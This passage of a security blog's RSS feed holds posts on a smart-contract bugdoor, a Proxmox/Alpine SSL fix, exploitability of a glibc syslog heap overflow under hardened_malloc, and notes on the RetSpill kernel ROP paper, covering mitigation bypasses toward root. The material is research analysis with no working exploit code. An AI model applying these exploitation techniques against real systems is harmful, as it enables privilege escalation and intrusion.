class=\"p\"&gt;]&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;toBalance&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;value&lt;span class=\"p\"&gt;;&lt;/span&gt;\n&lt;span class=\"w\"&gt;        &lt;/span&gt;&lt;span class=\"p\"&gt;}&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;As a hint, look at &lt;a href=\"https://app.sentio.xyz/tx/1/0x4b9de8c56c8919e8598181449a3cc02df40435eb641eaec08ecce12d2342237f\"&gt;this transaction&lt;/a&gt;.\nIsn't it a cute bugdoor?&lt;/p&gt;\n&lt;p&gt;The snippet is taken from &lt;a href=\"https://twitter.com/shoucccc/status/1757777764646859121\"&gt;this tweet&lt;/a&gt;,\ngiving the issue away. Thanks to &lt;a href=\"https://github.com/kjsman\"&gt;Jinseo Kim&lt;/a&gt; for holding my hand\nunderstanding what was going on there.&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Fri, 16 Feb 2024 13:30:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-02-16:/b/a-silly-smart-contract-bug.html</guid><category>security</category></item><item><title>Fixing the /usr/lib/ssl/certs debacle with Alpine Linux on Proxmox</title><link>https://dustri.org/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html</link><description>&lt;p&gt;There are currently some issues with regard to OpenSSL and Alpine Linux on\nProxmox, tracked as &lt;a href=\"https://bugzilla.proxmox.com/show_bug.cgi?id=5194\"&gt;#5194&lt;/a&gt; by Promox since the 19&lt;sup&gt;th&lt;/sup&gt; of January, with some patches sent by\nemail (sigh) to fix the issue still waiting to land. The root cause being\nProxmox setting &lt;code&gt;SSL_CERT_FILE='/usr/lib/ssl/cert.pem'&lt;/code&gt; when &lt;code&gt;pct enter&lt;/code&gt; is\nused, while on Alpine the &lt;code&gt;cert.pem&lt;/code&gt; file is in &lt;code&gt;/etc/ssl/cert.pem&lt;/code&gt;.&lt;/p&gt;\n&lt;p&gt;In the meantime, here is what the problem looks like (for\n&lt;a href=\"https://en.wikipedia.org/wiki/Search_engine_optimization\"&gt;SEO&lt;/a&gt;) and how to\nhack around it: &lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"go\"&gt;root@pve ~ pct enter 122&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;apk&lt;span class=\"w\"&gt; &lt;/span&gt;update\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:&lt;/span&gt;\n&lt;span class=\"go\"&gt;WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied&lt;/span&gt;\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:80000002:system library:file_open:No such file or directory:providers/implementations/storemgmt/file_store.c:267:calling stat(/usr/lib/ssl/certs)&lt;/span&gt;\n&lt;span class=\"go\"&gt;48AB2E51FA7F0000:error:0A000086:SSL routines:tls_post_process_server_certificate:certificate verify failed:ssl/statem/statem_clnt.c:1889:&lt;/span&gt;\n&lt;span class=\"go\"&gt;WARNING: updating and opening https://dl-cdn.alpinelinux.org/alpine/v3.18/community: Permission denied&lt;/span&gt;\n&lt;span class=\"go\"&gt;4 unavailable, 0 stale; 30 distinct packages available&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;^D\n&lt;span class=\"go\"&gt;root@pve ~ lxc-attach -n 122 &lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;apk&lt;span class=\"w\"&gt; &lt;/span&gt;update&lt;span class=\"p\"&gt;;&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;apk&lt;span class=\"w\"&gt; &lt;/span&gt;upgrade\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz&lt;/span&gt;\n&lt;span class=\"go\"&gt;v3.18.6-10-g1bb71e18dfb [https://dl-cdn.alpinelinux.org/alpine/v3.18/main]&lt;/span&gt;\n&lt;span class=\"go\"&gt;v3.18.6-9-g41de282e84d [https://dl-cdn.alpinelinux.org/alpine/v3.18/community]&lt;/span&gt;\n&lt;span class=\"go\"&gt;OK: 20069 distinct packages available&lt;/span&gt;\n&lt;span class=\"go\"&gt;OK: 10 MiB in 30 packages&lt;/span&gt;\n&lt;span class=\"gp\"&gt;# &lt;/span&gt;^D\n&lt;span class=\"go\"&gt;root@pve 16:58 ~ &lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;tl;dr: &lt;code&gt;lxc attach -n 123&lt;/code&gt; instead of &lt;code&gt;pct enter 123&lt;/code&gt;&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Mon, 05 Feb 2024 17:00:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-02-05:/b/fixing-the-usrlibsslcerts-debacle-with-alpine-linux-on-proxmox.html</guid><category>sysadmin</category></item><item><title>Musings on CVE-2023-6246 on hardened_malloc</title><link>https://dustri.org/b/musings-on-cve-2023-6246-on-hardened_malloc.html</link><description>&lt;p&gt;Qualys' &lt;s&gt;security team&lt;/s&gt; Threat Research Unit &lt;a href=\"https://seclists.org/oss-sec/2024/q1/68\"&gt;published&lt;/a&gt;\na couple of hours ago a linear two-step heap buffer overflow in glibc's\n&lt;code&gt;syslog()&lt;/code&gt;:&lt;/p&gt;\n&lt;div class=\"codehilite\"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class=\"mi\"&gt;206&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;=&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;malloc&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;((&lt;/span&gt;&lt;span class=\"n\"&gt;bufsize&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;)&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;*&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"k\"&gt;sizeof&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"kt\"&gt;char&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n&lt;span class=\"p\"&gt;...&lt;/span&gt;\n&lt;span class=\"mi\"&gt;213&lt;/span&gt;&lt;span class=\"w\"&gt;       &lt;/span&gt;&lt;span class=\"n\"&gt;__snprintf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;\n&lt;span class=\"mi\"&gt;214&lt;/span&gt;&lt;span class=\"w\"&gt;                   &lt;/span&gt;&lt;span class=\"n\"&gt;SYSLOG_HEADER&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;pri&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;timestamp&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;&amp;amp;&lt;/span&gt;&lt;span class=\"n\"&gt;msgoff&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;pid&lt;/span&gt;&lt;span class=\"p\"&gt;));&lt;/span&gt;\n&lt;span class=\"p\"&gt;...&lt;/span&gt;\n&lt;span class=\"mi\"&gt;221&lt;/span&gt;&lt;span class=\"w\"&gt;     &lt;/span&gt;&lt;span class=\"n\"&gt;__vsnprintf_internal&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"p\"&gt;(&lt;/span&gt;&lt;span class=\"n\"&gt;buf&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;bufsize&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;-&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;l&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"o\"&gt;+&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"mi\"&gt;1&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;fmt&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;&lt;span class=\"w\"&gt; &lt;/span&gt;&lt;span class=\"n\"&gt;apc&lt;/span&gt;&lt;span class=\"p\"&gt;,&lt;/span&gt;\n&lt;span class=\"mi\"&gt;222&lt;/span&gt;&lt;span class=\"w\"&gt;                           &lt;/span&gt;&lt;span class=\"n\"&gt;mode_flags&lt;/span&gt;&lt;span class=\"p\"&gt;);&lt;/span&gt;\n&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;\n\n&lt;p&gt;the tl;dr is that &lt;code&gt;bufsize&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; while &lt;code&gt;l&lt;/code&gt; is user-controlled.\nAs mentioned in the advisory, messing with nss structures as done\nin their (phenomenal) &lt;a href=\"https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt\"&gt;&lt;code&gt;Baron Samedit&lt;/code&gt; sudo\nexploit&lt;/a&gt;\nis a good way to get a root shell on the glibc.&lt;/p&gt;\n&lt;p&gt;While the bug is in glibc's &lt;code&gt;syslog&lt;/code&gt;, it's not unheard of for\npeople to run custom allocators for performance/security/speed/… reasons.\nOne of those could be, for example, &lt;a href=\"https://github.com/GrapheneOS/hardened_malloc\"&gt;hardened_malloc&lt;/a&gt;,\n&lt;a href=\"https://grapheneos.org\"&gt;GrapheneOS&lt;/a&gt;'s security-focused allocator, raising\nthe question \"would &lt;code&gt;hardened_malloc&lt;/code&gt; make this particular bug\nunexploitable on my x86_64 Debian machine?\"&lt;/p&gt;\n&lt;p&gt;After discussing this with friends, we don't &lt;em&gt;think&lt;/em&gt; that it makes\nthe bug completely unexploitable, but ridiculously complicated, which is good\nenough™ for me. But keep in mind that this \"analysis\" was done hastily at 2am,\nso caveat lector.&lt;/p&gt;\n&lt;p&gt;&lt;code&gt;hardened_malloc&lt;/code&gt; uses size-based slabs isolation, popularised by\n&lt;a href=\"https://chromium.googlesource.com/chromium/src/+/master/base/allocator/partition_allocator/PartitionAlloc.md\"&gt;PartitionAlloc&lt;/a&gt;.\nSince &lt;code&gt;bufsize&lt;/code&gt; is zero, this is a 1-byte\nallocation, falling into the\n&lt;a href=\"https://github.com/GrapheneOS/hardened_malloc/blob/main/h_malloc.c#L147\"&gt;16 bytes size-class&lt;/a&gt;,\nthe smallest after the special &lt;code&gt;0&lt;/code&gt; one. So to exploit this, one would have to find an\ninteresting object of size 16 bytes or lower to overwrite. But since\ncanaries are enabled by default, this becomes even more difficult: sizes of\nallocations are actually bumped by 8 bytes, meaning that one would actually\nhave to find an interesting object of size 8 bytes or lower.&lt;/p&gt;\n&lt;p&gt;Moreover, 16-byte slabs can contain at most 256 allocations, and are\nsurrounded by guard pages, meaning that accessing anything below &lt;code&gt;buf&lt;/code&gt; and\nabove &lt;code&gt;buf+(256*16)&lt;/code&gt; will result in a crash.&lt;/p&gt;\n&lt;p&gt;Allocations are randomized, which might help for bruteforcing the heap layout:\nif the current one isn't exploitable, just crash and start again. But it will\nalso result in a lot more crashes, since &lt;code&gt;buf&lt;/code&gt; might be allocated closer to\nthe guard page.&lt;/p&gt;\n&lt;p&gt;There are of course other mitigations, but they aren't relevant in this\nparticular case, like canaries that are checked on &lt;code&gt;free&lt;/code&gt;,\nor &lt;a href=\"https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/enhanced-security-through-mte\"&gt;ARM's MTE&lt;/a&gt; that completely kills linear-overflows.&lt;/p&gt;\n&lt;p&gt;Given the ludicrous amount of randomization &lt;code&gt;hardened_malloc&lt;/code&gt; applies to heap bases (32G\nper region), bruteforcing offsets of anything not on the heap is futile.\nSo one would have to find something interesting in an object of 8 bytes or less on\nthe heap, like a path to corrupt as in &lt;code&gt;service_user&lt;/code&gt;,\nor some partial-overwrite of a function-pointer to call a\n&lt;a href=\"https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html\"&gt;one-shot-gadget&lt;/a&gt;, …&lt;/p&gt;\n&lt;p&gt;Thanks to &lt;code&gt;strcat&lt;/code&gt; for the handholding, and\nto &lt;code&gt;jdoe&lt;/code&gt;, &lt;code&gt;drvink&lt;/code&gt; and &lt;code&gt;J&lt;/code&gt; for their diligent proofreading,&lt;/p&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Wed, 31 Jan 2024 02:00:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-01-31:/b/musings-on-cve-2023-6246-on-hardened_malloc.html</guid><category>security</category></item><item><title>Paper notes: RetSpill</title><link>https://dustri.org/b/paper-notes-retspill.html</link><description>&lt;ul&gt;\n&lt;li&gt;Full title: RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections&lt;/li&gt;\n&lt;li&gt;PDF: &lt;a href=\"https://dl.acm.org/doi/10.1145/3576915.3623220\"&gt;ACM&lt;/a&gt; —\n  &lt;a href=\"https://kylebot.net/papers/retspill.pdf\"&gt;mirror&lt;/a&gt; —\n  &lt;a href=\"https://dustri.org/b/files/papers/retspill.pdf\"&gt;local mirror&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Authors: &lt;a href=\"https://kylebot.net/\"&gt;Kyle \"kylebot\" Zeng&lt;/a&gt;,\n  &lt;a href=\"https://ruoyuwang.me/\"&gt;Ruoyu Wang&lt;/a&gt;,\n  &lt;a href=\"https://yancomm.net/\"&gt;Yan Shoshitaishvili&lt;/a&gt;,\n  and &lt;a href=\"https://adamdoupe.com/\"&gt;Adam Doupé&lt;/a&gt; from &lt;a href=\"https://shellphish.net/\"&gt;Shellphish&lt;/a&gt;,\n  along with &lt;a href=\"https://zplin.me/\"&gt;Zhenpeng Lin&lt;/a&gt;,\n  &lt;a href=\"https://www-users.cse.umn.edu/~kjlu/\"&gt;Kangjie Lu&lt;/a&gt;,\n  &lt;a href=\"http://xinyuxing.org/\"&gt;Xinyu Xing&lt;/a&gt; and\n  &lt;a href=\"https://www.tiffanybao.com/\"&gt;Tiffany Bao&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The idea of the paper is to use user-controlled data that are by design copied\nin kernel-land when exercising syscalls to store a &lt;a href=\"https://en.wikipedia.org/wiki/Return-oriented_programming\"&gt;ROP&lt;/a&gt;-chain, via 4 main venues:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Valid Data directly copied onto the kernel stack for performance reasons, like when\n  calling &lt;code&gt;poll&lt;/code&gt;;&lt;/li&gt;\n&lt;li&gt;Preserved Registers, restored upon returning from kernel-land to\n  userland. &lt;/li&gt;\n&lt;li&gt;Calling Convention compliant functions will save/restore registers, and\n  apparently, system call handlers are calling convention compliant\n  even though the kernel is already taking care of those,\n  and syscalls can &lt;a href=\"https://www.kernel.org/doc/html/latest/process/adding-syscalls.html?highlight=syscall_define#do-not-call-system-calls-in-the-kernel\"&gt;only be called from userland&lt;/a&gt;.\n  But even if the syscalls handles weren't compliant, registers still contain\n  userland values when they're called, and sub-functions might store/restore\n  those registers, since those do need to be compliant.&lt;/li&gt;\n&lt;li&gt;Uninitialized Memory, since the per-thread kernel stack is reused between syscalls,\n  and not erased (unless &lt;code&gt;PAX_MEMORY_STACKLEAK&lt;/code&gt; is used).&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Then, only a &lt;a href=\"https://en.wikipedia.org/wiki/KASLR\"&gt;KASLR&lt;/a&gt; leak,\na CFHP (control-flow hijacking primitive)\nand a &lt;code&gt;add rsp, X; ret&lt;/code&gt;-like gadget are required to &lt;a href=\"https://www.youtube.com/watch?v=FoUWHfh733Y\"&gt;ROP all the things&lt;/a&gt;.\nNowadays, most™ CFHP are created by corrupting the heap to hijack function\npointers, and since every kernel thread shares the same heap,\nonce it is is properly shaped, the control flow hijacking primitive can likely\nbe triggered again and again from a different threads.\nMoreover, changing the exploit is simply a matter of re-invoking a syscall with\ndifferent data spill, instead of having to reshape the heap every single time.\nOne doesn't have to worry about crashes (enabling lame bruteforcing), since no\nmajor Linux distributions (except CentOS, kudos) has &lt;code&gt;panic_on_oops&lt;/code&gt; enabled,\nso having a ROP-chain crash is no big deal, because the CFHP is still on the\nheap, one syscall away.&lt;/p&gt;\n&lt;p&gt;Since the space afforded to store gadgets might be too small, one trick is to\ninvoke &lt;code&gt;do_task_dead&lt;/code&gt; at the end of every ROP-chain to terminate it gracefully,\nand trigger the CFHP again and again.&lt;/p&gt;\n&lt;p&gt;Mitigation-wise: &lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Control_register#SMEP\"&gt;SMEP&lt;/a&gt;, \n  &lt;a href=\"https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention\"&gt;SMAP&lt;/a&gt; and\n  &lt;a href=\"https://en.wikipedia.org/wiki/Kernel_page-table_isolation\"&gt;KPTI&lt;/a&gt; are irrelevant.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://pax.grsecurity.net/docs/randkstack.txt\"&gt;RANDKSTACK&lt;/a&gt; mitigates data spillage from Preserved Registers and Uninitialized Memory,\n  but since it only provides 5 bits of randomness, a &lt;code&gt;ret&lt;/code&gt;-sled is enough\n  to bypass it (25.44% of the time if using gadgets from Preserved Registers or Uninitialized Memory, 100% otherwise),\n  and in the absence of &lt;code&gt;panic_on_oops&lt;/code&gt; it can quickly be bruteforced anyway.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Sanitize_kernel_stack\"&gt;STACKLEAK&lt;/a&gt;,\n  &lt;a href=\"https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Forcibly_initialize_local_variables_copied_to_userland\"&gt;STRUCTLEAK&lt;/a&gt;,\n  and &lt;a href=\"https://lwn.net/Articles/823152/\"&gt;CONFIG_INIT_STACK_*&lt;/a&gt;\n  only mitigate data spillage from Uninitialized Memory.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://lwn.net/Articles/824307/\"&gt;FG-KASLR&lt;/a&gt; is &lt;a href=\"https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/#gathering-useful-gadgets\"&gt;useless&lt;/a&gt;\n  since it doesn't randomize everything, leaving a couple (&lt;code&gt;42631&lt;/code&gt; according to\n  the paper) of gadgets at position-invariant positions, which are enough to perform\n  arbitrary-reads and derandomize everything.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://lore.kernel.org/lkml/202210010918.4918F847C4@keescook/T/#u\"&gt;KCFI&lt;/a&gt;\n  and &lt;a href=\"https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html\"&gt;IBT&lt;/a&gt;\n  also (currently) don't cover everything, but don't really matter much here\n  anyway, since we only care about backward-edges, and as for the CFHP:&lt;/li&gt;\n&lt;li&gt;There &lt;a href=\"https://i.blackhat.com/USA-22/Wednesday/US-22-Jin-Monitoring-Surveillance-Vendors.pdf#page=35\"&gt;are ways&lt;/a&gt;\n    to obtain one in the presence of perfect forward-edge CFI with a heap corruption.&lt;/li&gt;\n&lt;li&gt;Using &lt;code&gt;__x86_indirect_thunk_rdi&lt;/code&gt; allows to transform a forward-edge control-flow transition to backward edge one.&lt;/li&gt;\n&lt;li&gt;Shadow stack and perfect CFI are a pipe dream that would mitigate RetSpill,\n  but &lt;a href=\"https://pax.grsecurity.net/docs/PaXTeam-H2HC15-RAP-RIP-ROP.pdf\"&gt;PaX' RAP&lt;/a&gt;\n  is really close to it, likely making it insanely hard, with its type-based\n  CFI, and its changing-on-every-syscall/task/… register-stored cookie paired\n  with unreadable kernel stacks for backward edge, on top of CFI.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;To showcase how cool all of this is, the paper comes with a semi-automated tool\noutputting the address of a stack-shifting gadget, a function to performs data\nspillage, invoke the triggering system call, and yield a root shell via a\nclassic &lt;code&gt;commit_creds(init_cred)&lt;/code&gt; + returning back to user space. It works by:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;taking full snapshots of a vm to locate the syscall leading to CFHP by using\n  a binary-search-like heuristic;&lt;/li&gt;\n&lt;li&gt;mutating userland inputs (registers, &lt;code&gt;copy\\_from\\_user&lt;/code&gt;/&lt;code&gt;get\\_user&lt;/code&gt;\n  parameters, …), continuing the execution of the vm,\n  marking the as user-controllable data if the CFHP still\n  happens after modifications, and doing taint analysis to find how to modify\n  them.&lt;/li&gt;\n&lt;li&gt;generating a ROP-chain, which isn't that easy, given that:&lt;/li&gt;\n&lt;li&gt;it's done over discrete controlled regions&lt;/li&gt;\n&lt;li&gt;there are some constraints, like \"&lt;code&gt;eax&lt;/code&gt; contains the syscall number\",\n    or \"&lt;code&gt;edx&lt;/code&gt; comes from both &lt;em&gt;Saved Registers&lt;/em&gt; and &lt;em&gt;Calling Convention&lt;/em&gt;\n    spillages.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Of course, given that some authors are &lt;a href=\"https://angr.io/\"&gt;angr&lt;/a&gt; developers,\n&lt;a href=\"https://github.com/angr/angrop\"&gt;angrop&lt;/a&gt; was used to knit the ROP-chains, and\nthe results are pretty impressive:&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;p&gt;The abundance of data spillage allows 20 out of 22 proof-of-concept programs\nthat manifest CFHP to be semi-automatically turned into full privilege escalation exploits.&lt;/p&gt;\n&lt;/blockquote&gt;\n&lt;p&gt;To kill this technique, the authors suggest:&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;&lt;em&gt;Preserved Register&lt;/em&gt;: &lt;code&gt;RANDKSTACK&lt;/code&gt; helps, but storing userspace registers\n   somewhere else than on the stack would be even better, eg. in &lt;code&gt;task_struct&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;em&gt;Uninitialized Memory&lt;/em&gt;: enable &lt;code&gt;STACKLEAK&lt;/code&gt;/&lt;code&gt;STRUCTLEAK&lt;/code&gt;/&lt;code&gt;CONFIG\\_INIT\\_STACK\\_\\*&lt;/code&gt;,\n   but the performances impact is pretty steep.&lt;/li&gt;\n&lt;li&gt;&lt;em&gt;Calling Convention&lt;/em&gt; and &lt;em&gt;Valid Data&lt;/em&gt;: an improved version of &lt;code&gt;RANDKSTACK&lt;/code&gt;,\n   adding a random offset at the bottom of each stack frame, between &lt;code&gt;rsp&lt;/code&gt; and user data.\n   This technique also mitigates Preserved Registers and Uninitialized Memory,\n   with an average performance overhead of 0.61%.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;Like all good papers it comes &lt;a href=\"https://github.com/sefcom/RetSpill\"&gt;with code&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Amusingly:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;RetSpill completely bypasses OpenBSD's\n  &lt;a href=\"https://isopenbsdsecu.re/mitigations/map_stack/\"&gt;MAP_STACK&lt;/a&gt; mitigation,\n  should it ever be implemented in kernel-land, &lt;/li&gt;\n&lt;li&gt;The &lt;a href=\"https://org.anize.rs/\"&gt;Organizers&lt;/a&gt; CTF team\n  &lt;a href=\"https://org.anize.rs/0CTF-2021-finals/pwn/kernote\"&gt;used&lt;/a&gt;\n  the &lt;a href=\"https://elixir.bootlin.com/linux/latest/ident/pt_regs\"&gt;&lt;code&gt;ptregs&lt;/code&gt;&lt;/a&gt; structure\n  to store their ROP chain for &lt;a href=\"https://ctftime.org/event/1357\"&gt;0CTF/TCTF 2021\n  Finals&lt;/a&gt;'s\n  &lt;a href=\"https://ctftime.org/task/17461\"&gt;Kernote&lt;/a&gt; pwn challenge.&lt;/li&gt;\n&lt;/ul&gt;</description><dc:creator xmlns:dc=\"http://purl.org/dc/elements/1.1/\">jvoisin</dc:creator><pubDate>Thu, 18 Jan 2024 16:45:00 +0100</pubDate><guid isPermaLink=\"false\">tag:dustri.org,2024-01-18:/b/paper-notes-retspill.html</guid><category>paper_notes</category></item><item><title>On non-technical video-games cheat mitigations</title><link>https://dustri.org/b/on-non-technical-video-games-cheat-mitigations.html</link><description>&lt;p&gt;Cheats are as old as video games, and will be there as long. There\nare a couple of high-profile players in the anti-cheat market today:\n&lt;a href=\"https://en.wikipedia.org/wiki/BattlEye\"&gt;BattlEye&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/Valve_Anti-Cheat\"&gt;Valve's VAC&lt;/a&gt;,\n&lt;a href=\"https://en.wikipedia.org/wiki/PunkBuster\"&gt;PunkBuster&lt;/a&gt;,\n&lt;a href=\"https://easy.ac/en-us/\"&gt;Epic's EAC&lt;/a&gt;,\n&lt;a href=\"https://wowpedia.fandom.com/wiki/Warden_(software)\"&gt;Blizzard's Warden&lt;/a&gt;,\n&lt;a href=\"https://support-valorant.riotgames.com/hc/en-us/articles/360046160933-What-is-Vanguard-\"&gt;Riot's Vanguard&lt;/a&gt;,\n&lt;a href=\"https://callofduty.com/en/warzone/ricochet\"&gt;Activision's Ricochet&lt;/a&gt;,\n… as well as in-house ones.&lt;/p&gt;\n&lt;p&gt;To try to keep up in the race, both sides are resorting to more and more invasive\ntechnical privacy-invasive measures: streaming virtualised shellcodes,\nhardware fingerprinting and locking,\n&lt;a 